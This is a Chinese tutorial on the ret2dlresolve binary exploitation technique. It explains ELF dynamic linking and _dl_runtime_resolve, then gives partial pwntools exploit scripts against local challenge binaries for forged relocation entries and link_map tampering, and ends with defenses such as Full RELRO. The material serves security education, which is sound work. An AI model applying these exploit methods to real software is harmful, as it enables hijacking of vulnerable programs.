dl_reslove从入门pwn到巅峰极客
字数 1453 2025-08-24 07:48:23
DL_Resolve从入门到巅峰极客:深入理解ret2dlresolve攻击技术
前言
ret2dlresolve是一种高级的二进制漏洞利用技术,特别适用于存在溢出但没有输出函数泄露地址的情况。本文将全面解析Linux下ELF文件的动态链接机制,并深入探讨如何利用_dl_runtime_resolve函数实现攻击。
ELF动态链接基础
GOT/PLT机制
在Linux下,动态链接的程序调用其他链接库函数时,会通过以下流程:
- 程序首次调用库函数时,会执行
call [email protected] - PLT条目中包含
jmp [got表地址]指令 - 由于延迟绑定机制,首次调用时会触发
_dl_runtime_resolve解析真实地址
关键数据结构
ELF文件中有三个关键节区参与动态链接:
- DT_STRTAB:字符串表,包含动态链接所需的符号名称
- DT_SYMTAB:符号表,每个条目大小为0x18字节
- DT_JMPREL:PLT重定位表,每个条目大小为0x18字节
Elf64_Sym结构体
typedef struct elf64_sym {
Elf64_Word st_name; // 符号名在字符串表中的偏移
unsigned char st_info; // 符号类型和作用域
unsigned char st_other;
Elf64_Half st_shndx; // 符号所在section下标
Elf64_Addr st_value; // 符号值在section中的偏移
Elf64_Xword st_size; // 符号大小
} Elf64_Sym;
Elf64_Rela结构体
typedef struct {
Elf64_Addr r_offset; // GOT表地址
Elf64_Xword r_info; // 前32位是重定位类型,后32位是符号表索引
Elf64_Sxword r_addend; // 附加信息
} Elf64_Rela;
_dl_runtime_resolve解析流程
_dl_runtime_resolve函数接收两个参数:
link_map指针reloc_arg(重定位条目在.rel.plt中的偏移)
解析流程如下:
-
获取符号表和字符串表:
const ElfW(Sym) *const symtab = (const void *)D_PTR(l, l_info[DT_SYMTAB]); const char *strtab = (const void *)D_PTR(l, l_info[DT_STRTAB]); -
计算重定位入口:
const PLTREL *const reloc = (const void *)(D_PTR(l, l_info[DT_JMPREL]) + reloc_offset); -
获取符号信息:
const ElfW(Sym) *sym = &symtab[ELFW(R_SYM)(reloc->r_info)]; -
计算GOT表地址:
void *const rel_addr = (void *)(l->l_addr + reloc->r_offset); -
符号查找:
result = _dl_lookup_symbol_x(strtab + sym->st_name, l, &sym, l->l_scope, version, ELF_RTYPE_CLASS_PLT, flags, NULL); -
计算函数地址并写入GOT:
value = DL_FIXUP_MAKE_VALUE(result, sym ? (LOOKUP_VALUE_ADDRESS(result) + sym->st_value) : 0);
ret2dlresolve攻击技术
情况一:_DYNAMIC可写(RELRO未开启)
攻击思路:
- 篡改DT_STRTAB中的字符串偏移
- 将目标函数名(如"exit")改为系统函数(如"system")
- 当解析函数时,会错误地将system函数地址写入GOT表
示例利用代码:
from pwn import *
FILENAME = '../test1'
p = process(FILENAME)
elf = ELF(FILENAME)
dynamic = elf.get_section_by_name('.dynamic').header.sh_addr
STRTABLE = dynamic + 0x90 + 0x8
p.sendline(f'{STRTABLE:x}')
STR_SYSTEM = 0x403320
p.sendline(f'{STR_SYSTEM-0x3D:x}')
p.interactive()
情况二:_DYNAMIC不可写
攻击思路:
- 伪造完整的DT_JMPREL、DT_SYMTAB和DT_STRTAB结构
- 控制reloc_arg指向伪造的重定位条目
- 通过ROP跳过PLT的push操作,直接jmp到伪造的解析流程
关键伪造步骤:
-
伪造Elf64_Rela结构体:
- r_offset:目标GOT地址
- r_info:符号表索引
- r_addend:0
-
伪造Elf64_Sym结构体:
- st_name:字符串表偏移
- st_info:0x12(导入函数标识)
- 其他字段设为0
-
伪造字符串表:
- 包含目标函数名(如"system")
示例利用代码:
from pwn import *
FILENAME = '../chall'
p = process(FILENAME)
elf = ELF(FILENAME)
call_fgets = 0x40119A
rsi_ret = 0x401165
movRdiRsi_ret = 0x40115A
bss = 0x405000 - 0x100
leave_ret = 0x4011B6
fake_strAddr = bss
fake_symAddr = fake_strAddr - 0x200
fake_jmpAddr = fake_symAddr - 0x200
STR_offset = 0x4a50
mygot = 0x404000
JMP_offset = 0x30D + 1
reloc_arg = 0x2e3
# 构造ROP链和伪造数据结构
# ...(完整代码见原文)
Linkmap攻击
攻击思路:
- 篡改linkmap结构中的关键指针
- 控制
l_addr偏移使解析函数写入任意GOT地址 - 利用
_r_debug结构伪造字符串表
高级技巧:
- 通过单字节篡改修改linkmap指针
- 利用stdout泄露地址
- 结合malloc_hook完成ROP攻击
示例利用代码:
from pwn import *
FILENAME = '../pwn11'
elf = ELF(FILENAME)
libc = elf.libc
p = process(FILENAME)
link_map = 0x26a190
stdout = 0x22e6a0
r_debug = 0x26a160
STR_write = 0x3e
malloc_hook = 0x22db70
# 单字节篡改linkmap和stdout
# 泄露地址后构造ROP链
# ...(完整代码见原文)
防御措施
- 开启Full RELRO:防止GOT表被修改
- 使用地址随机化(ASLR):增加预测地址难度
- 栈保护:防止简单的栈溢出
- 编译器加固选项:如-fstack-protector-strong
总结
ret2dlresolve是一种强大的攻击技术,它深入利用了Linux动态链接器的解析机制。理解这种攻击不仅有助于安全研究,也能帮助开发者编写更安全的代码。防御此类攻击需要综合运用多种安全措施,特别是Full RELRO和地址随机化。